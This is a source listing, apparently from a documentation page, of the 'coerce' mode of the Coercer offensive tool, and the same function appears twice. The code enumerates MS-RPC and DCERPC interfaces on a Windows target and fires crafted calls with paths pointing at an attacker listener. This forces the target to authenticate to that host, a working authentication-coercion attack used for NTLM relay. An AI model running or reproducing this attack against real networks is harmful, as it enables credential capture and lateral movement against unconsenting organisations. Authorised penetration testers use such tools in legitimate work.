coercer.core.modes.coerce

  1#!/usr/bin/env python3
  2# -*- coding: utf-8 -*-
  3# File name          : coerce.py
  4# Author             : Podalirius (@podalirius_)
  5# Date created       : 18 Sep 2022
  6
  7
  8import time
  9from coercer.core.Filter import Filter
 10from coercer.core.utils import generate_exploit_path_from_template
 11from coercer.network.DCERPCSession import DCERPCSession
 12from coercer.structures.TestResult import TestResult
 13from coercer.network.authentications import trigger_authentication
 14from coercer.network.smb import can_connect_to_pipe, can_bind_to_interface
 15from coercer.network.rpc import portmap_discover, is_port_open, can_bind_to_interface_on_port
 16
 17
 18def action_coerce(target, available_methods, options, credentials, reporter):
 19    reporter.verbose = True
 20
 21    filter = Filter(
 22        filter_method_name=options.filter_method_name,
 23        filter_protocol_name=options.filter_protocol_name,
 24        filter_pipe_name=options.filter_pipe_name
 25    )
 26
 27    # Preparing tasks ==============================================================================================================
 28
 29    if "dcerpc" in options.filter_transport_name:
 30        if not options.dce_ports:
 31            portmap = portmap_discover(target, options.dce_port)
 32        else:
 33            portmap = {}
 34    tasks = {}
 35    for method_type in available_methods.keys():
 36        for category in sorted(available_methods[method_type].keys()):
 37            for method in sorted(available_methods[method_type][category].keys()):
 38                instance = available_methods[method_type][category][method]["class"]
 39
 40                if filter.method_matches_filter(instance):
 41                    for access_type, access_methods in instance.access.items():
 42                        if access_type not in tasks.keys():
 43                            tasks[access_type] = {}
 44
 45                        # Access through SMB named pipe
 46                        if access_type == "ncan_np":
 47                            for access_method in access_methods:
 48                                namedpipe, uuid, version = access_method["namedpipe"], access_method["uuid"], access_method["version"]
 49                                if namedpipe not in tasks[access_type].keys():
 50                                    tasks[access_type][namedpipe] = {}
 51
 52                                if uuid not in tasks[access_type][namedpipe].keys():
 53                                    tasks[access_type][namedpipe][uuid] = {}
 54
 55                                if version not in tasks[access_type][namedpipe][uuid].keys():
 56                                    tasks[access_type][namedpipe][uuid][version] = []
 57
 58                                if instance not in tasks[access_type][namedpipe][uuid][version]:
 59                                    tasks[access_type][namedpipe][uuid][version].append(instance)
 60                        elif access_type == "ncacn_ip_tcp":
 61                            for access_method in access_methods:
 62                                uuid, version = access_method["uuid"], access_method["version"]
 63                                for port in options.dce_ports or portmap.get("ncacn_ip_tcp",{}).get("%s v%s"%(uuid.upper(),version),[]):
 64                                    if port not in tasks[access_type].keys():
 65                                        tasks[access_type][port] = {}
 66
 67                                    if uuid not in tasks[access_type][port].keys():
 68                                        tasks[access_type][port][uuid] = {}
 69
 70                                    if version not in tasks[access_type][port][uuid].keys():
 71                                        tasks[access_type][port][uuid][version] = []
 72
 73                                    if instance not in tasks[access_type][port][uuid][version]:
 74                                        tasks[access_type][port][uuid][version].append(instance)
 75
 76
 77    # Executing tasks =======================================================================================================================
 78
 79    if options.verbose:
 80        print("[+] Coercing '%s' to authenticate to '%s'" % (target, options.listener_ip))
 81
 82    # Processing ncan_np tasks
 83    if len(tasks.keys()) == 0:
 84        return None
 85    if "dcerpc" in options.filter_transport_name:
 86        ncacn_ip_tcp_tasks = tasks.get("ncacn_ip_tcp", {})
 87        for port in sorted(ncacn_ip_tcp_tasks.keys()):
 88            if is_port_open(target, port):
 89                print("[+] DCERPC port '\x1b[1;94m%d\x1b[0m' is \x1b[1;92maccessible\x1b[0m!" % port)
 90                for uuid in sorted(ncacn_ip_tcp_tasks[port].keys()):
 91                    for version in sorted(ncacn_ip_tcp_tasks[port][uuid].keys()):
 92                        if can_bind_to_interface_on_port(target, port, credentials, uuid, version):
 93                            print("   [+] Successful bind to interface (%s, %s)!" % (uuid, version))
 94                            for msprotocol_class in sorted(ncacn_ip_tcp_tasks[port][uuid][version], key=lambda x:x.function["name"]):
 95
 96                                exploit_paths = msprotocol_class.generate_exploit_templates(desired_auth_type=options.auth_type)
 97                                
 98                                stop_exploiting_this_function = False
 99                                for listener_type, exploitpath in exploit_paths:
100                                    if stop_exploiting_this_function:
101                                        # Got a nca_s_unk_if response, this function does not listen on the given interface
102                                        continue
103
104                                    exploitpath = generate_exploit_path_from_template(
105                                        template=exploitpath,
106                                        listener=options.listener_ip,
107                                        http_listen_port=options.http_port,
108                                        smb_listen_port=options.smb_port
109                                    )
110
111                                    msprotocol_rpc_instance = msprotocol_class(path=exploitpath)
112                                    dcerpc = DCERPCSession(credentials=credentials, verbose=True)
113                                    dcerpc.connect_ncacn_ip_tcp(target=target, port=port)
114                                    if dcerpc.session is not None:
115                                        dcerpc.bind(interface_uuid=uuid, interface_version=version)
116                                        if dcerpc.session is not None:
117                                            reporter.print_testing(msprotocol_rpc_instance)
118
119                                            result = trigger_authentication(
120                                                dcerpc_session=dcerpc.session,
121                                                target=target,
122                                                method_trigger_function=msprotocol_rpc_instance.trigger
123                                            )
124
125                                            reporter.report_test_result(
126                                                uuid=uuid, version=version, namedpipe="",
127                                                msprotocol_rpc_instance=msprotocol_rpc_instance,
128                                                result=result,
129                                                exploitpath=exploitpath
130                                            )
131
132                                            if result == TestResult.NCA_S_UNK_IF:
133                                                stop_exploiting_this_function = True
134
135                                    if options.delay is not None:
136                                        # Sleep between attempts
137                                        time.sleep(options.delay)
138
139                                    if not options.always_continue:
140                                        next_action_answer = None
141                                        while next_action_answer not in ["C","S","X"]:
142                                            next_action_answer = input("Continue (C) | Skip this function (S) | Stop exploitation (X) ? ")
143                                            if len(next_action_answer) > 0:
144                                                next_action_answer = next_action_answer.strip()[0].upper()
145                                        if next_action_answer == "C":
146                                            pass
147                                        elif next_action_answer == "S":
148                                            stop_exploiting_this_function = True
149                                        elif next_action_answer == "X":
150                                            return None
151                        else:
152                            if options.verbose:
153                                print("   [!] Cannot bind to interface (%s, %s)!" % (uuid, version))
154            else:
155                if options.verbose:
156                    print("[!] DCERPC port '\x1b[1;94m%d\x1b[0m' is \x1b[1;91mclosed\x1b[0m!" % port)
157
158    if "msrpc" in options.filter_transport_name:
159        ncan_np_tasks = tasks["ncan_np"]
160        for namedpipe in sorted(ncan_np_tasks.keys()):
161            if can_connect_to_pipe(target, namedpipe, credentials):
162                print("[+] SMB named pipe '\x1b[1;94m%s\x1b[0m' is \x1b[1;92maccessible\x1b[0m!" % namedpipe)
163                for uuid in sorted(ncan_np_tasks[namedpipe].keys()):
164                    for version in sorted(ncan_np_tasks[namedpipe][uuid].keys()):
165                        if can_bind_to_interface(target, namedpipe, credentials, uuid, version):
166                            print("   [+] Successful bind to interface (%s, %s)!" % (uuid, version))
167                            for msprotocol_class in sorted(ncan_np_tasks[namedpipe][uuid][version], key=lambda x:x.function["name"]):
168
169                                exploit_paths = msprotocol_class.generate_exploit_templates(desired_auth_type=options.auth_type)
170
171                                stop_exploiting_this_function = False
172                                for listener_type, exploitpath in exploit_paths:
173                                    if stop_exploiting_this_function:
174                                        # Got a nca_s_unk_if response, this function does not listen on the given interface
175                                        continue
176
177                                    exploitpath = generate_exploit_path_from_template(
178                                        template=exploitpath,
179                                        listener=options.listener_ip,
180                                        http_listen_port=options.http_port,
181                                        smb_listen_port=options.smb_port
182                                    )
183
184                                    msprotocol_rpc_instance = msprotocol_class(path=exploitpath)
185                                    dcerpc = DCERPCSession(credentials=credentials, verbose=True)
186                                    dcerpc.connect_ncacn_np(target=target, pipe=namedpipe)
187
188                                    if dcerpc.session is not None:
189                                        dcerpc.bind(interface_uuid=uuid, interface_version=version)
190                                        if dcerpc.session is not None:
191                                            reporter.print_testing(msprotocol_rpc_instance)
192
193                                            result = trigger_authentication(
194                                                dcerpc_session=dcerpc.session,
195                                                target=target,
196                                                method_trigger_function=msprotocol_rpc_instance.trigger
197                                            )
198
199                                            reporter.report_test_result(
200                                                uuid=uuid, version=version, namedpipe=namedpipe,
201                                                msprotocol_rpc_instance=msprotocol_rpc_instance,
202                                                result=result,
203                                                exploitpath=exploitpath
204                                            )
205
206                                            if result == TestResult.NCA_S_UNK_IF:
207                                                stop_exploiting_this_function = True
208
209                                    if options.delay is not None:
210                                        # Sleep between attempts
211                                        time.sleep(options.delay)
212
213                                    if not options.always_continue:
214                                        next_action_answer = None
215                                        while next_action_answer not in ["C","S","X"]:
216                                            next_action_answer = input("Continue (C) | Skip this function (S) | Stop exploitation (X) ? ")
217                                            if len(next_action_answer) > 0:
218                                                next_action_answer = next_action_answer.strip()[0].upper()
219                                        if next_action_answer == "C":
220                                            pass
221                                        elif next_action_answer == "S":
222                                            stop_exploiting_this_function = True
223                                        elif next_action_answer == "X":
224                                            return None
225                        else:
226                            if options.verbose:
227                                print("   [!] Cannot bind to interface (%s, %s)!" % (uuid, version))
228            else:
229                if options.verbose:
230                    print("[!] SMB named pipe '\x1b[1;94m%s\x1b[0m' is \x1b[1;91mnot accessible\x1b[0m!" % namedpipe)
def action_coerce(target, available_methods, options, credentials, reporter):
 19def action_coerce(target, available_methods, options, credentials, reporter):
 20    reporter.verbose = True
 21
 22    filter = Filter(
 23        filter_method_name=options.filter_method_name,
 24        filter_protocol_name=options.filter_protocol_name,
 25        filter_pipe_name=options.filter_pipe_name
 26    )
 27
 28    # Preparing tasks ==============================================================================================================
 29
 30    if "dcerpc" in options.filter_transport_name:
 31        if not options.dce_ports:
 32            portmap = portmap_discover(target, options.dce_port)
 33        else:
 34            portmap = {}
 35    tasks = {}
 36    for method_type in available_methods.keys():
 37        for category in sorted(available_methods[method_type].keys()):
 38            for method in sorted(available_methods[method_type][category].keys()):
 39                instance = available_methods[method_type][category][method]["class"]
 40
 41                if filter.method_matches_filter(instance):
 42                    for access_type, access_methods in instance.access.items():
 43                        if access_type not in tasks.keys():
 44                            tasks[access_type] = {}
 45
 46                        # Access through SMB named pipe
 47                        if access_type == "ncan_np":
 48                            for access_method in access_methods:
 49                                namedpipe, uuid, version = access_method["namedpipe"], access_method["uuid"], access_method["version"]
 50                                if namedpipe not in tasks[access_type].keys():
 51                                    tasks[access_type][namedpipe] = {}
 52
 53                                if uuid not in tasks[access_type][namedpipe].keys():
 54                                    tasks[access_type][namedpipe][uuid] = {}
 55
 56                                if version not in tasks[access_type][namedpipe][uuid].keys():
 57                                    tasks[access_type][namedpipe][uuid][version] = []
 58
 59                                if instance not in tasks[access_type][namedpipe][uuid][version]:
 60                                    tasks[access_type][namedpipe][uuid][version].append(instance)
 61                        elif access_type == "ncacn_ip_tcp":
 62                            for access_method in access_methods:
 63                                uuid, version = access_method["uuid"], access_method["version"]
 64                                for port in options.dce_ports or portmap.get("ncacn_ip_tcp",{}).get("%s v%s"%(uuid.upper(),version),[]):
 65                                    if port not in tasks[access_type].keys():
 66                                        tasks[access_type][port] = {}
 67
 68                                    if uuid not in tasks[access_type][port].keys():
 69                                        tasks[access_type][port][uuid] = {}
 70
 71                                    if version not in tasks[access_type][port][uuid].keys():
 72                                        tasks[access_type][port][uuid][version] = []
 73
 74                                    if instance not in tasks[access_type][port][uuid][version]:
 75                                        tasks[access_type][port][uuid][version].append(instance)
 76
 77
 78    # Executing tasks =======================================================================================================================
 79
 80    if options.verbose:
 81        print("[+] Coercing '%s' to authenticate to '%s'" % (target, options.listener_ip))
 82
 83    # Processing ncan_np tasks
 84    if len(tasks.keys()) == 0:
 85        return None
 86    if "dcerpc" in options.filter_transport_name:
 87        ncacn_ip_tcp_tasks = tasks.get("ncacn_ip_tcp", {})
 88        for port in sorted(ncacn_ip_tcp_tasks.keys()):
 89            if is_port_open(target, port):
 90                print("[+] DCERPC port '\x1b[1;94m%d\x1b[0m' is \x1b[1;92maccessible\x1b[0m!" % port)
 91                for uuid in sorted(ncacn_ip_tcp_tasks[port].keys()):
 92                    for version in sorted(ncacn_ip_tcp_tasks[port][uuid].keys()):
 93                        if can_bind_to_interface_on_port(target, port, credentials, uuid, version):
 94                            print("   [+] Successful bind to interface (%s, %s)!" % (uuid, version))
 95                            for msprotocol_class in sorted(ncacn_ip_tcp_tasks[port][uuid][version], key=lambda x:x.function["name"]):
 96
 97                                exploit_paths = msprotocol_class.generate_exploit_templates(desired_auth_type=options.auth_type)
 98                                
 99                                stop_exploiting_this_function = False
100                                for listener_type, exploitpath in exploit_paths:
101                                    if stop_exploiting_this_function:
102                                        # Got a nca_s_unk_if response, this function does not listen on the given interface
103                                        continue
104
105                                    exploitpath = generate_exploit_path_from_template(
106                                        template=exploitpath,
107                                        listener=options.listener_ip,
108                                        http_listen_port=options.http_port,
109                                        smb_listen_port=options.smb_port
110                                    )
111
112                                    msprotocol_rpc_instance = msprotocol_class(path=exploitpath)
113                                    dcerpc = DCERPCSession(credentials=credentials, verbose=True)
114                                    dcerpc.connect_ncacn_ip_tcp(target=target, port=port)
115                                    if dcerpc.session is not None:
116                                        dcerpc.bind(interface_uuid=uuid, interface_version=version)
117                                        if dcerpc.session is not None:
118                                            reporter.print_testing(msprotocol_rpc_instance)
119
120                                            result = trigger_authentication(
121                                                dcerpc_session=dcerpc.session,
122                                                target=target,
123                                                method_trigger_function=msprotocol_rpc_instance.trigger
124                                            )
125
126                                            reporter.report_test_result(
127                                                uuid=uuid, version=version, namedpipe="",
128                                                msprotocol_rpc_instance=msprotocol_rpc_instance,
129                                                result=result,
130                                                exploitpath=exploitpath
131                                            )
132
133                                            if result == TestResult.NCA_S_UNK_IF:
134                                                stop_exploiting_this_function = True
135
136                                    if options.delay is not None:
137                                        # Sleep between attempts
138                                        time.sleep(options.delay)
139
140                                    if not options.always_continue:
141                                        next_action_answer = None
142                                        while next_action_answer not in ["C","S","X"]:
143                                            next_action_answer = input("Continue (C) | Skip this function (S) | Stop exploitation (X) ? ")
144                                            if len(next_action_answer) > 0:
145                                                next_action_answer = next_action_answer.strip()[0].upper()
146                                        if next_action_answer == "C":
147                                            pass
148                                        elif next_action_answer == "S":
149                                            stop_exploiting_this_function = True
150                                        elif next_action_answer == "X":
151                                            return None
152                        else:
153                            if options.verbose:
154                                print("   [!] Cannot bind to interface (%s, %s)!" % (uuid, version))
155            else:
156                if options.verbose:
157                    print("[!] DCERPC port '\x1b[1;94m%d\x1b[0m' is \x1b[1;91mclosed\x1b[0m!" % port)
158
159    if "msrpc" in options.filter_transport_name:
160        ncan_np_tasks = tasks["ncan_np"]
161        for namedpipe in sorted(ncan_np_tasks.keys()):
162            if can_connect_to_pipe(target, namedpipe, credentials):
163                print("[+] SMB named pipe '\x1b[1;94m%s\x1b[0m' is \x1b[1;92maccessible\x1b[0m!" % namedpipe)
164                for uuid in sorted(ncan_np_tasks[namedpipe].keys()):
165                    for version in sorted(ncan_np_tasks[namedpipe][uuid].keys()):
166                        if can_bind_to_interface(target, namedpipe, credentials, uuid, version):
167                            print("   [+] Successful bind to interface (%s, %s)!" % (uuid, version))
168                            for msprotocol_class in sorted(ncan_np_tasks[namedpipe][uuid][version], key=lambda x:x.function["name"]):
169
170                                exploit_paths = msprotocol_class.generate_exploit_templates(desired_auth_type=options.auth_type)
171
172                                stop_exploiting_this_function = False
173                                for listener_type, exploitpath in exploit_paths:
174                                    if stop_exploiting_this_function:
175                                        # Got a nca_s_unk_if response, this function does not listen on the given interface
176                                        continue
177
178                                    exploitpath = generate_exploit_path_from_template(
179                                        template=exploitpath,
180                                        listener=options.listener_ip,
181                                        http_listen_port=options.http_port,
182                                        smb_listen_port=options.smb_port
183                                    )
184
185                                    msprotocol_rpc_instance = msprotocol_class(path=exploitpath)
186                                    dcerpc = DCERPCSession(credentials=credentials, verbose=True)
187                                    dcerpc.connect_ncacn_np(target=target, pipe=namedpipe)
188
189                                    if dcerpc.session is not None:
190                                        dcerpc.bind(interface_uuid=uuid, interface_version=version)
191                                        if dcerpc.session is not None:
192                                            reporter.print_testing(msprotocol_rpc_instance)
193
194                                            result = trigger_authentication(
195                                                dcerpc_session=dcerpc.session,
196                                                target=target,
197                                                method_trigger_function=msprotocol_rpc_instance.trigger
198                                            )
199
200                                            reporter.report_test_result(
201                                                uuid=uuid, version=version, namedpipe=namedpipe,
202                                                msprotocol_rpc_instance=msprotocol_rpc_instance,
203                                                result=result,
204                                                exploitpath=exploitpath
205                                            )
206
207                                            if result == TestResult.NCA_S_UNK_IF:
208                                                stop_exploiting_this_function = True
209
210                                    if options.delay is not None:
211                                        # Sleep between attempts
212                                        time.sleep(options.delay)
213
214                                    if not options.always_continue:
215                                        next_action_answer = None
216                                        while next_action_answer not in ["C","S","X"]:
217                                            next_action_answer = input("Continue (C) | Skip this function (S) | Stop exploitation (X) ? ")
218                                            if len(next_action_answer) > 0:
219                                                next_action_answer = next_action_answer.strip()[0].upper()
220                                        if next_action_answer == "C":
221                                            pass
222                                        elif next_action_answer == "S":
223                                            stop_exploiting_this_function = True
224                                        elif next_action_answer == "X":
225                                            return None
226                        else:
227                            if options.verbose:
228                                print("   [!] Cannot bind to interface (%s, %s)!" % (uuid, version))
229            else:
230                if options.verbose:
231                    print("[!] SMB named pipe '\x1b[1;94m%s\x1b[0m' is \x1b[1;91mnot accessible\x1b[0m!" % namedpipe)